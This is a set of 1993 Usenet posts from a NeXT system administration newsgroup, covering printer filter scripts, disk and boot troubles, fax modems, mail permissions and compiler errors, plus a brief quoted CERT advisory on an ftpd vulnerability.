=====================================================
I've got two queues: ex33ps_direct was the original queue, and
ex33ps is the new one for which the features work. As you can
see, it "outputs" to /dev/null. This is OK because the input
filter is
=============== /usr/spool/NeXT/ex33ps/filter ==========
#!/bin/sh
PPD=/NextLibrary/PrinterTypes/English.lproj/QMS-PS_810.ppd
/usr/lib/printer/ppd -d $PPD | /usr/ucb/lpr -Pex33ps_direct
=========================================================
which resubmits the job to the "raw" queue after processing.
Nasty, this is, but the BSD lpd code is very inflexible:
in particular it doesn't run any filters on non-locally
printed files, so you need to trick it like above.
On most systems, you can put pipes into the termcap file,
thus removing the need to put the above code in a file,
but it seems that NeXTs are even more brain-dead than
average in this area. In the spool directory is quite
a good place for the filter - nothing ever tidies up that much.
It would be fairly simple to search the netinfo database
to find out which PPD file to use, but it's just not
worth the bother.
============= /usr/lib/printer/ppd =============
#!/usr/local/bin/perl
while($_=shift){
/-d/ && ($PPD=shift);
}
$PPD || die "PPD file not specified";
open PPD || die "failed to open ppd file: $!, stopping";
$ORIG_IRS=$/;
line: while (<PPD>) {
/\S/ || next line;
/^\*/ || die "bad ppd file";
/^\*\s*\%/ && next line;
/(\*[^\":]+):\s*(.+)/ && do {
$feature=join(' ',split(' ',$1));
$_=$code=$2;
/\"(.*)\"/ && do {
$vals{$feature}=$1;
next line;
};
/\"/ && do {
$/='"';
$_=<PPD> || die "unexpected end of PPD file";
chop; $code=$'.$_;
$/=$ORIG_IRS;<PPD>;$_=<PPD>;
/\*End/ || die "*End missing";
$vals{$feature}=$code;
};
};
}
while (<STDIN>) {
print;
/\%\%Feature:/ && do {
$feature=join(' ',split(' ',$'));
print $vals{$feature},"\n";
};
}
===============================================
Any problems or success, let me know.
If you haven't installed perl yet and are
about to do so, beware that you need to link
all the header files in /usr/include/ansi
into /usr/include/bsd, otherwise the
Configure script doesn't find stdio.h and it
screws up.
If it works, I guess I could post it.
Cheers
Anthony
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From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: Problems with file corruption
Message-ID: <1993Apr9.150734.19128@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Fri, 9 Apr 1993 15:07:34 GMT
I have a disk that one of our employees saved some files to. He is trying
to load up an Improv spreadsheet that he saved on the disk.
There are /two/ Improv ss's on the disk - one loads up fine, the other
doesn't.
The error message I get is this:
"An Error was returned by UNIX: Error on file positioning." The actual
explanation of this is: "UNIX tried to find the file '%pathname%', but
failed.
Is there /any/ hope for this file?
BTW, we have NeXT's here, with 2.0 on them.
Thanks!
--
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: Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu :
: root@tap.colum.fnet.org : NeXTMail> shane@kiwi.swhs.ohio-state.edu :
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From: leshner@bend.ucsd.edu (William Leshner)
Newsgroups: comp.sys.next.sysadmin
Subject: I have destroyed my file system!
Date: 9 Apr 1993 14:53:46 GMT
Organization: Linguistics Department, UCSD
Message-ID: <1q42lr$1ma@network.ucsd.edu>
References: <734345081.AA00531@his.com> <1q3vd1INNder@liszt.dra.hmg.gb>
In order to try to mark a bad block on my disk drive, I hit upon the
brillian idea of running 'newfs'. Needless to say, this was a bad
idea. I now no longer have any system at all. Is there anything I
can do, or should I find someone with NS2.1 and reinstall a system?
I don't have NS2.1 on any other medium, so I can't put it on myself.
Thanks for any suggestions.
will
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Printer (# of pages) accounting
Message-ID: <1993Apr9.174047.22520@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Date: Fri, 9 Apr 1993 17:40:47 GMT
Hi there,
Is there an easy way to keep track of the number of pages printed on
the NeXT printers? Using the printcap "af" option provides
accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but
not of the number of pages printed.
Also, on other printers, you can find out the number of pages
printed since the printer was installed - usually listed on the
banner page produced after powerup. Can the NeXT printer
provide this information as well?
Thank you,
Jason
--
Jason D. Blue
jblue@mitre.org
The MITRE Corporation, McLean VA
From: lpratt@slate.mines.colorado.edu (Lorien Pratt)
Newsgroups: comp.sys.next.sysadmin
Subject: Is there a command to help maintain duplicate file structures?
Message-ID: <1993Apr9.152510.38321@slate.mines.colorado.edu>
Date: 9 Apr 93 15:25:10 GMT
Sender: lpratt@slate.mines.colorado.edu (Lorien Pratt)
Distribution: na
Organization: Colorado School of Mines
Hi,
Does anybody know of a command or program that will help me to maintain
two separate directory hierarchies of files to be identical? I.e. I have
two mounted file systems, both with a directory ../Plans. I'd like to be
able to change a file in file system 1, and then run a command that will
detect that this version is more recent than the one in file system 2, and
that will then copy it over.
Perhaps some permutation on the ``find'' command will do this?
--Lori
--
L. Y. Pratt Dept. of Math and Computer Science
lpratt@franklinite.mines.colorado.edu Colorado School of Mines
(303) 273-3878 (work) 402 Stratton
(303) 278-4552 (home) Golden, CO 80401, USA
From: Matthias Imhof <gondwana@basalt.mit.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: wurachive ftpd and 3.0
Date: 9 Apr 1993 21:22:26 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1q4peiINNqut@senator-bedfellow.MIT.EDU>
does anyone know what kind of ftp deamon NeXT used for 3.0? do we all have a
compromised version? is there any cause to worry?
===========================================================================
CA-93:06 CERT Advisory
April 9, 1993
wuarchive ftpd Vulnerability
---------------------------------------------------------------------------
The CERT Coordination Center has received information concerning a
vulnerability in versions of wuarchive ftpd available before April 8,
1993. Vulnerable wuarchive ftpd versions were available from
wuarchive.wustl.edu:/packages/ftpd.wuarchive.shar and many other
anonymous FTP sites.
We strongly recommend that any site using versions of wuarchive ftpd
dating prior to April 8, 1993, immediately take corrective action or
remove this service.
matthias
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From: Tigger <greg@pomona.claremont.edu>
Subject: Workspace/Mathematica selector error?
Message-ID: <A7EB3AA2B70104A7@taz.claremont.edu>
Sender: news@news.claremont.edu (The News System)
Organization: Pomona College
Date: Fri, 9 Apr 1993 22:37:22 GMT
We've got a user who is trying to run a Mathematica notebook on our NeXT
under NextStep 3.1. It was causing all sorts of problems on the Mac
version, and on the NeXT it resulted in
Runtime error: Workspace: does not recognize selector-Jf4/9
The console then froze. The process refused to be killed, and we ended
up rebooting the machine. Does anyone have any clue what that error
means? Given the segment loader errors and bus errors that we were
getting on the Mac side (and Mathematica's less than stellar history)
I'm about ready to tell the student (and his prof) that Mathematica is
just a piece of junk...
--
Greg Orman greg@pomona.claremont.edu
Systems Manager greg@pomona.bitnet
Seaver Academic Computing Services
Pomona College Standard disclaimer-type
stuff
Newsgroups: comp.sys.next.sysadmin
Subject: nfs authentication
Message-ID: <1993Apr9.164204.269@inet.d48.lilly.com>
From: Jerrod T. Carter <Jerrod@Lilly.Com>
Date: 9 Apr 93 16:42:04 EST
Distribution: world
Organization: Eli Lilly & Company
I'm trying to get Intercon's NFS/Share on my Mac to mount
a disk on my NeXT. Their product requires bwnfsd, pcnfsd,
or NIS to be running on the NFS server for authentication
purposes. Has anyone gotten bwnfsd to run on a NeXT? This
works for me with our Sun, but I'd like to get it working
on our NeXTs as well.
I don't read this group, so please send e-mail replies. Thanks!
Jerrod Carter
Jerrod@Lilly.Com
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Booting with broken internal drive
Message-ID: <66264@mimsy.umd.edu>
Date: 10 Apr 93 01:46:24 GMT
References: <gds.734272673@sun-3>
Sender: news@mimsy.umd.edu
Followup-To: comp.sys.next.sysadmin
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
In article <gds.734272673@sun-3> gds@cs.uct.ac.za writes:
> How do you boot your NeXTstation if the only device on which you have a
> boot image went bust?
you cant.
> Would a friend with a NeXT be able to create a bootable floppy
yes this is your best shot.
get BootFloppy (or BootFloppy3_0) off the archives - its a shell script
to build a bootable floppy.
Everyone should have a bootable floppy as a last resort. its cheap insurance.
Obviously backups are not enough. Its simple to make, takes just a few minutes.
Do yourself a favor and make one now and stick it away on a shelf.
--
---------------------------------------------------
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
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From: keen@ee.ualberta.ca (Jeff 'No. 83' Keen)
Subject: Re: Wanted: Faxmodem advice
Message-ID: <1993Apr10.022703.24065@kakwa.ucs.ualberta.ca>
Summary: Anyone got a Viva fax 14.4 to work?
Keywords: fax, modems, drivers, next
Sender: news@kakwa.ucs.ualberta.ca
Organization: University of Alberta Electrical Engineering
References: <1993Mar30.191508.18107@worldbank.org>
Date: Sat, 10 Apr 1993 02:27:03 GMT
Summary pretty much says it all, I recently got a Viva 14.4/Fax modem
which I know works using netfax on a sun and can't get it to work
on 2.1 NS next (I know, I know 3.0 is out). Every time I set the modem
to private access under the printmanager (as root) and click ok, it talks
to the modem and promptly sets the modem to unavailable. What am I
doing wrong?
Keen@ee.bode
--
-----------------------------------------------------
Jeff Keen University of Alberta
alberta!bode!keen
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Newsgroups: comp.sys.next.sysadmin
From: bonney@tybrin.com
Subject: how do you emulate a VT 220 terminal in a window?
Message-ID: <1993Apr9.181702.9821@tybrin.com>
Organization: Tybrin Corporation, Shalimar, FL
Date: Fri, 9 Apr 1993 18:17:02 GMT
Is there any software that will emulate a vt220 terminal in a window
on the Next console?
Greg Bonney
bonney@tybj3.Eglin.AF.MIL
From: jmd@cube.handheld.com (Jim De Arras)
Newsgroups: comp.sys.next.sysadmin
Subject: GUI SNMP montior program
Date: 10 Apr 1993 02:51:20 GMT
Organization: Hand Held Products, Inc.
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Does anyone know of a spiffy SNMP monitor app for the NeXT?
Jim
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From: murshid@unit.edu (murshid)
Newsgroups: comp.sys.next.sysadmin
Subject: setgroups setgid problems
Date: 10 Apr 1993 07:05:20 GMT
Organization: University of California, San Diego
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setgroups: Not owner
Password:
su: setgid: Not owner
Any ideas?
Jerry
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: One way to forward mail to different mailboxes.
In-Reply-To: bryan@kolsky.tamu.edu's message of 9 Apr 1993 00:39:42 GMT
To: bryan@kolsky.tamu.edu (Bryan Milligan)
Message-ID: <CEDMAN.93Apr9094037@capitalist.princeton.edu>
Originator: news@nimaster
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Date: Fri, 9 Apr 1993 13:40:37 GMT
In article <1q2gkeINNj6n@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes:
Since I posted my original question on how to forward mail
to different mailboxes, I've received numerous requests for the
answers. The first thing to do is to get the following:
mailforward (readily available)
perl (also readily available)
Uncompress and untar and you're halfway there. The trick to installing
perl on a NeXT is to be aware the the include files are in two
different directories: /usr/include/ansi and /usr/include/bsd.
Either tell the configure script to look in both places or create
one linked directory, otherwise it's pretty straightforward.
Mailforward is a perl script that sorts the incoming mail
according to user specified strings in the mail header.
Installation is relatively simple; however, to work correctly the
destination mailboxes must not be open or all the mail winds up in
Active.mbox (or the default), even if mail is hidden.
Without in any way shape means or form wanting to dump on the fine
mailforward script by Chris Paris, there are a number of advantages to
using appnmail from the mailapp-utilities on the archives (well,
obviously I think so, otherwise I would not have written as I already
had mailforward available).
1. It does not require perl.
2. It handles locked mailboxes better ie. it waits until it can get a
lock and appends the message then.
3. It is more of a proper UN*X tool in that it does one task and does
it well ie. it appends messages to Mail.app mailboxes while leaving
the decision to which mailbox to append the message to programs like
deliver or procmail or even the user all of which will be much
cleverer about it than either it or mailforward could be. It also has
a man page.
So if you are happy with mailforward, keep using it. On the other
hand, if you want to append next mail as an integrated part of one of
the common mail handling systems, very likely you are better off with
appnmail.
Such small utilities, so many words...
Carl Edman
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From: harit@kripalu.com
Subject: Re: how do you emulate a VT 220 terminal in a window?
Message-ID: <1993Apr10.110222.841@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
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References: <1993Apr9.181702.9821@tybrin.com>
Date: Sat, 10 Apr 93 11:02:22 GMT
In article <1993Apr9.181702.9821@tybrin.com> bonney@tybrin.com
writes:
> Is there any software that will emulate a vt220 terminal in a
window
> on the Next console?
>
> Greg Bonney
> bonney@tybj3.Eglin.AF.MIL
There is a package written by Scott Hess that emulates a vt100 but
does allow you to add your own function keys if you just need more
function keys to emulate the vt220. If you need full vt220 emulation
I would still contact him about it and also look into the emulator
Communicae. Stuart from Scott Hess is by far the least expensive and
is very well built.
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Re: Printer (# of pages) accounting
Message-ID: <1993Apr10.150918.22026@linus.mitre.org>
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References: <1993Apr9.174047.22520@linus.mitre.org>
Date: Sat, 10 Apr 1993 15:09:18 GMT
In article <1993Apr9.174047.22520@linus.mitre.org> jblue@ocotillo.mitre.org
(Jason D. Blue) writes:
>
> Hi there,
>
> Is there an easy way to keep track of the number of pages printed on
> the NeXT printers? Using the printcap "af" option provides
> accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but
> not of the number of pages printed.
>
> Also, on other printers, you can find out the number of pages
> printed since the printer was installed - usually listed on the
> banner page produced after powerup. Can the NeXT printer
> provide this information as well?
>
I forgot to mention - I am using NeXTSTEP 2.1, and not 3.0, which I am told
does it automatically with the accounting options (/usr/etc/pac, and the if
and af options in printcap).
> Thank you,
> Jason
> --
> Jason D. Blue
> jblue@mitre.org
> The MITRE Corporation, McLean VA
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From: jreiss@magnus.acs.ohio-state.edu (Joseph W Reiss)
Subject: Floppy boot problem
Message-ID: <1993Apr10.161324.4334@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Sat, 10 Apr 1993 16:13:24 GMT
HELP !!!
I purchased a NeXT 030 cube last year. I then bought the Release 3
operating system and a CD drive to load it. Then the problems
started.
This first thing I found out that no one told me when I bought the
Release 3 OS was that I needed a floppy disk drive to load the
software. It took a while and two vendors but I finally got
everything that I currently THINK I need.
I hooked everything up as follows: SCSI cable from the NeXT to the CD
drive. Daisy chain SCSI cable from the CD drive to the floppy disk
drive. CD drive is at address 6. Floppy drive is at address 4. The
floppy drive has a termination switch and it is set to on.
I then tried to boot the software. I used the boot rom and the
command "bsd(1,0,0)sdmach rootdev=sd1". To this I have gotten three
different responses. One is that it times out and eventually prints
the message:
no SCSI disk
The second is that I get the series of messages:
Bad version 0xf0f0f0f0
Bad cksum
Bad cksum
Bad cksum
Bad label
The third response only happened once. It was stuck in a loop
printing out some message over and over. The message started with
"sc:" but I cannot remember the rest of the message. It had something
to do with being unable to locate the device.
Also, if I try to boot from the floppy without putting the diskette
in, I get the following message:
booting SCSI target 4, lun 0
waiting for drive to come ready
It then continues to print dots until I insert the diskette.
Apparently it knows the drive is there and can sense media present.
Does anyone have any idea what I am doing wrong? I took the CD ROM
and the floppy diskette along with the floppy drive to the
representative of the CONE user group at Ohio State. He tried it on
his 040 system and determined that the drive worked and he was able to
read the files from the floppy. He also booted from the floppy.
Please tell me I have not reached a dead end!
Since this problem is not a general one but is specific to my system,
please send responses through email.
Thanks in advance for all help.
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From: masud@invnext.worldbank.org (masud cader)
Subject: Floppy disk causes panic!
Message-ID: <1993Apr10.213543.24952@worldbank.org>
Keywords: panic, workspace error, floppy
Sender: news@worldbank.org
Organization: The World Bank, Washington, DC, USA
Date: Sat, 10 Apr 1993 21:35:43 GMT
I have experienced a serious error when I inserted a 800K Mac formatted floppy
into a NeXTStation running 3.0.
I was able to do this four or five times with the same diskette. Apparently
the diskette was not formatted properly...but I do not think it should cause a
panic. The messages from /usr/adm/messages follow.
Apr 10 17:13:11 invnext syslog: Workspace logged in
Apr 10 17:13:21 invnext mach: DOS File System: Initialized
Apr 10 17:13:23 invnext mach: trap: type 0x14 fcode 0 rw 0 faultaddr 0x0
Apr 10 17:13:23 invnext mach: trap: pc 0x10fec0de sp 0x3ffff5c sr 0x2010
Apr 10 17:13:23 invnext mach: trap: cpu 0 th 0x10166ea0 proc 0x101668e0 pid 171
pcb 0x10ff200c
Apr 10 17:13:23 invnext mach: traceback: fp 0x10ff2efc
Apr 10 17:13:23 invnext mach: called from pc 10fec27e fp 10ff2f0c 4-args
00000000 10ff0000 10ff2f30 10fee13a
Apr 10 17:13:23 invnext mach: called from pc 10fee13a fp 10ff2f30 4-args
1011fbba 00000000 040a3058 10147578
Apr 10 17:13:23 invnext mach: called from pc 0402dbae fp 10ff2f70 4-args
10147578 101159ac 03fffa38 000067a8
Apr 10 17:13:23 invnext mach: called from pc 0409351e fp 10ff2fac 4-args
000067a8 00000004 03fffa38 00000001
Apr 10 17:13:23 invnext mach: called from pc 04001da4 fp 03fffa6c 4-args
000000a7 00006828 000067a8 00000004
Apr 10 17:13:23 invnext mach: last fp 0x3fffa6c
Apr 10 17:13:23 invnext mach: panic: (Cpu 0) zero divide
Apr 10 17:13:23 invnext mach: NeXT ROM Monitor 2.5 v66
Apr 10 17:13:23 invnext mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT
1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K
Apr 10 17:13:23 invnext mach:
Apr 10 17:13:26 invnext syslogd: going down on signal 15
Apr 10 17:16:56 invnext mach: Killing all processes NeXT ROM Monitor 2.5 v66
Suggestions?
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Trading Analytics
The World Bank
masud@invnext.worldbank.org
From: mike@stacken.kth.se (Mike Henry)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Wanted: Faxmodem advice
Keywords: fax, modems, drivers, next
Message-ID: <1993Apr10.213054.362@kth.se>
Date: 10 Apr 93 21:30:54 GMT
References: <1993Mar30.191508.18107@worldbank.org> <tlm.733542626@scl1.al.iastate.edu>
Sender: usenet@kth.se (Usenet)
Organization: Royal Institute of Technology, Stockholm, Sweden
In article <tlm.733542626@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes:
>My supra fax modem worked right out of the box like a charm. The DFax
>software does all you ask and will soon support voicemail as well. Both are
>quite inexpensive and well worth the $.
Hear! Hear! Couldn't agree more. My Supra has Just Worked (tm) and Done The
Right Thing (tm) from the get go. Couldn't be more pleased.
>Oh yeah, the DFax software will soon work wih the Zyxel, and the NXFax with
>the Supra, so you can mix and match from these various items.
A Good Thing (tm).
>Hope this helps --- Tom
This might not help much, but at least I've got my advocating done... ;^)
-Mike
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From: mike@stacken.kth.se (Mike Henry)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: File transfer: Unix to/from NeXT
Message-ID: <1993Apr10.214034.554@kth.se>
Date: 10 Apr 93 21:40:34 GMT
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In article <1pi2hrINNqt9@fred.cs.city.ac.uk> mb108@cs.city.ac.uk (omo Adelakun Toyin K) writes:
>What's the best means of transferring files between a non-networked pair
>of systems: a NeXT system and another Un*x box, say an IBM RS/6000? I've
>tried tar'ing files to diskette, and the NeXTStation doesn't wanna know!
>("invalid device" or "can't open device" - paraphrased.)
tar "formatted" disks (i.e. tar'ing directly to the fd device) aren't standard
across any platforms. You may or may not succeed with this between different
vendors, most likely not...
However, I suggest you use DOS format (which IBM machine undoubtably support),
by tar'ing to a file, compressing the result, and then copying the file.tar.Z
to the disk. NeXT's will be able to read this one, and you can proceed to
zcat /unlabeled | tar xvf -
or whatever may be the case.
Good Luck!
>Toyin.
-Mike
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Printer (# of pages) accounting
Message-ID: <C5B53q.70G@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Apr9.174047.22520@linus.mitre.org> <1993Apr10.150918.22026@linus.mitre.org>
Date: Sun, 11 Apr 1993 07:06:47 GMT
jblue@ocotillo.mitre.org (Jason D. Blue) writes:
>In article <1993Apr9.174047.22520@linus.mitre.org> jblue@ocotillo.mitre.org
>(Jason D. Blue) writes:
>>
>> Hi there,
>>
>> Is there an easy way to keep track of the number of pages printed on
>> the NeXT printers? Using the printcap "af" option provides
>> accounting of the print jobs (i.e. "1.00 ocotillo:jblue"), but
>> not of the number of pages printed.
>>
>> Also, on other printers, you can find out the number of pages
>> printed since the printer was installed - usually listed on the
>> banner page produced after powerup. Can the NeXT printer
>> provide this information as well?
>>
>I forgot to mention - I am using NeXTSTEP 2.1, and not 3.0, which I am told
>does it automatically with the accounting options (/usr/etc/pac, and the if
>and af options in printcap).
Huh? Are you sure that it doesn't work in 2.1? It did for me. The
number is the number of pages in the job. It was that in 2.1 and
it's still that way in 3.0. I kludged together a script that rsh's
out to our print servers, grabs the accounting files, filters, adds
up, and e-mails me a report every night. Perl is the best tool for
things like this.
As far as number of pages ever printed - not to my knowledge. The
printer doesn't have the kind of nonvolatile memory and CPU to hold
that kind of information, as far as I know. I think NeXT printers
pretty much go forever...we have a few that are 4.5 years old that
have been abused their entire lifetimes...
--
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University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Floppy disk causes panic!
Message-ID: <1993Apr11.005555.490@bluerose.com>
Sender: m@bluerose.com
Organization: Blue Rose Systems, Inc.
References: <1993Apr10.213543.24952@worldbank.org>
Distribution: na
Date: Sun, 11 Apr 1993 00:55:55 GMT
In article <1993Apr10.213543.24952@worldbank.org>
masud@invnext.worldbank.org (masud cader) writes:
> I have experienced a serious error when I inserted a 800K Mac formatted
floppy
> into a NeXTStation running 3.0.
>
> I was able to do this four or five times with the same diskette.
Apparently
> the diskette was not formatted properly...but I do not think it should
cause a
> panic. The messages from /usr/adm/messages follow.
It shouldn't cause a panic, but NeXT's don't interoperate with 800K Mac
disks--only with 1.4M Mac disks.
M Carling
President, Bay Area NeXT Group
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From: bnocker@cosy.sbg.ac.at (Bernhard Nocker)
Subject: Re: Using Solaris 2.1 as mail host to BSD machines
Message-ID: <C5BGs5.Mpr@cosy.sbg.ac.at>
Sender: news@cosy.sbg.ac.at
Organization: University of Salzburg / Austria
References: <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de>
Date: Sun, 11 Apr 1993 11:19:17 GMT
In article <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de>
cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur) writes:
> matthews@oberon.umd.edu (Mike Matthews) writes:
>
> >We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT
> >and SunOS 4.x machines. I've got /var/mail exported to everybody, who's
> >mounting it as /usr/spool/mail, and that part seems to work OK.
>
> >The problem is, even though the sendmail.cf file (which is a main.cf file
> >with the asked-for values) specifies mode 0600 for the files, they come out
> >as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very
secure.
>
> >2) what's up with mail? I have no idea what's going on there.
>
> Ok, we had the same problems here with Solaris 2.1 as a file server for our
> NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong
> filemode for that file. All bits are set. After tracing the network traffic
> it was clear.
[...]
>
> Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29
19:43:28
> PDT 1992). I don't know if there is also a problem with 2.1, but I think a
> similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!].
>
[...]
I do not agree that the above patch is a solution.
I am not sure that this problem has anything to do with Solaris2.1 since we use
SunOS4.1.x and here the same problem (if it is one) should occur.
Chmod of the users mail file should in my opinion only occur when outgoing mail
to inhouse users are treated by NeXTs sendmail. But this is not recommended.
Instead use sendmail.subsidiary.cf as a lik to sendmail.cf and add the
Solaris-machine as mailhost. Then local mal is transferred via ethernet and not
via direct file change. This avoids hanging the machine when the mailserver is
down too.
-Bernhard
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From: pjoe@cubenet.sub.org (Peter Eybert)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Bad super-block...now what?
Date: 9 Apr 1993 22:40:01 +0100
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References: <1993Apr6.071515.7748@ncsa.uiuc.edu>
kchang@ncsa.uiuc.edu (Kenneth Chang) writes:
[...]
>BAD SUPER-BLOCK: MAGIC NUMBER WRONG
>Trying to specify an alternative super-block via the -b option does diddly.
>(Says the magic number is still wrong.)
>In addition, "disk -i /dev/rsd0a" tells me:
>Warning: 364 sector(s) in last cylinder unallocated
Some time ago, I had essentially the same problem.
Booting in single-user mode and running a fsck -y /dev/rsd0a as
described in NextAdmin/06_Troubleshooting (NS3.0) worked it out.
The main thing was the "y"-option in fsck.
I hope this will help you. Peter.
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From: brian@systemix.com (Brian Cuthie)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Wanted: Faxmodem advice
Date: 11 Apr 1993 09:01:55 -0400
Organization: Systemix Software, Inc.
Message-ID: <1q94s3INN1h2@systemix.com>
References: <1993Mar30.191508.18107@worldbank.org> <tlm.733542626@scl1.al.iastate.edu> <1993Apr10.213054.362@kth.se>
Keywords: fax, modems, drivers, next
I highly recommend the ZyXEL and NXFax combo available from Black&White
Software. Besides doing all the right things when it comes to multiplexing
Incoming/Outgoing DATA/FAX calls, it also supports identa-ring. What I've
done, for a year or so now, is to use an identa-ring number for incoming
FAX calls. Then, when someone calls the FAX number the modem knows to
answer immediately. Otherwise, the modem ignores the call and either someone
answers it, or it rolls over to voice mail. Of course, all of this is going
to be irrelevant in less than a week when my ISDN service gets installed.
Cheers,
Brian
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From: alberto@parsec.mixcom.com (Alberto Ricart)
Subject: NIST Synchronicity Posted to the Archives
Message-ID: <1993Apr10.223142.765@parsec.mixcom.com>
Organization: SmartSoft, Inc.
Date: Sat, 10 Apr 1993 22:31:42 GMT
Well tired of having my clock drift (and having a boring
afternoon) I have implemented a Preferences module that will
synchronize you with the NIST cesium clocks.
It's configurable. And located where it should be.
It's shareware, so don't forget to send your fee's in...
Have fun, and report any problems/bugs that you may find.
--
Manuel Alberto Ricart
alberto@parsec.mixcom.com <NeXTMail Welcome>
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From: kramer@fragile.uucp (Mike Andrews)
Subject: Archive Viper 2150S dump params (sizes)
Message-ID: <C5Bv24.8y@fragile.uucp>
Sender: kramer@fragile.uucp (Mike Andrews)
Organization: Terminal Frost
Date: Sun, 11 Apr 1993 16:27:40 GMT
This, and the problem I had (but solved without asking) about fixed vs
variable length blocks, should probably be in the FAQ (cough, cough)...
(If it is, and I missed it, sorry, I feel dumb now :-)
Anyway:
This too has been asked before, but I didn't catch the answer --
What's the optimal parameters to dump (or gnutar) for an Archive Viper 2150S
tape drive using DC6150 and DC6250 tapes? (I'm assuming 6250 (250mb) tapes
work too, since a few came with the drive (used)...)
The DC6150 tapes are 620 feet, the 6250's are 1020 feet. Somehow I don't
think the default density is right, though... Makes for much less than 150mb
tapes.
Thanks...
--
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root@fragile.uucp [NeXTmail OK]
kramer@wittenberg.edu (school) "This guy's pretty bizarre, Gus."
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From: Zacharias J. Beckman <zac@dolphin.com>
Subject: Help - Installing "Permanent" CD-ROM Mount Point
Message-ID: <1993Apr11.172947.614@dolphin.com>
Sender: zac@dolphin.com
Organization: Dolphin Software
Distribution: usa
Date: Sun, 11 Apr 1993 17:29:47 GMT
Help! Has anyone had success making a CD-ROM device mount permanently? I
want to have access to the BANG CD-ROM without interruption by mounting it on
our server's /LocalLibrary/CD directory. However, whenever someone logs in as
root or reboots the machine, Bad Things happen:
1. After reboot, the CD has not been mounted, so the export is lost; I must
manually login and do an export.
2. Once a user logs out (or sometimes logs in) on the server, they are
prompted with a panel which says "Eject disk in external drive 4" (the CD-ROM
drive). The CD is apparently unmounted at this point.
What I've done so far to try and achieve the desired result: first, I have a
mount command in rc.local, and I have NetInfo export the /LocalLibrary/CD
directory. The mount command is:
(mount -ot ro,removable,filesystem=CDROM cfs /dev/rsd4h
/LocalLibrary/CD) & >/dev/console
(All on one line, of course). Half the time this command doesn't seem to
work. The other half it does, but the problems in #1 and #2 are encountered.
I tried adding the CD to the fstab, but that doesn't seem to work either, for
reasons which I don't understand. The server has NeXTSTEP 3.0 on it.
Any help would be greatly appreciated. Please e-mail suggestions to me and
I'll summarize on the net. Thanks in advance!
--
Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL!
To be "matter of fact" about the world is to blunder into fantasy.... and dull
fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen
Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Print problem since 3.0 (can't connect to window server)
Message-ID: <C5CB15.1Jo@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Sun, 11 Apr 1993 22:12:40 GMT
When I upgraed to 3.0 over Xmas break, something weird happened to
printing. If someone was logged into the print server, there was no
problem. However, if no one was logged in, then only lpr could send a
job. If a user sent a file via the print panel, then it blocked the
queue, and lpd-errs showed up with one line, "Cannot connect to window
server". It seemed to happen on any server which was (don't ask, I
was forced to do it) a netboot machine. I was able to get around it
by switching the printer to a local boot machine and the problem
disappeared. Now it's happening to a local boot machine, 3-4 months
later. Has anyone else seen this? If not, I'll report a bug.
-rob
---
Rob Francis Unix Systems Specialist, Indiana University
francisr@indiana.edu (812)855-0327
From: akonstantino@mac.cc.macalstr.edu
Newsgroups: comp.sys.next.sysadmin
Subject: gcc-2.3.3 won't compile on my 3.0
Message-ID: <1993Apr11.174046.4549@mac.cc.macalstr.edu>
Date: 11 Apr 93 17:40:45 -0600
Organization: Macalester College
I have been trying to compile gcc-2.3.3 on NS3.0 but I ran into problems. I
configured using
./configure --target=m68k-next-mach
and then tried to build the compiler with
make LANGUAGES='c'
Which run into the following error :
if [ -f /usr/bin/ranlib -o -f /bin/ranlib ] ; then ranlib tmplibgcc.a; else
true; fi
mv tmplibgcc.a libgcc.a
./xgcc -B./ -DIN_GCC -g -DNO_MEM -DNO_STDDEF -DNO_LONG_DOUBLE_IO -O0 -I.
-c enquire.c
./xgcc -B./ -DIN_GCC -g enquire.o -o enquire
ld: Undefined symbols:
___libc_init
__NXArgc
__NXArgv
__environ
collect: /bin/ld returned 1 exit status
*** Exit 1
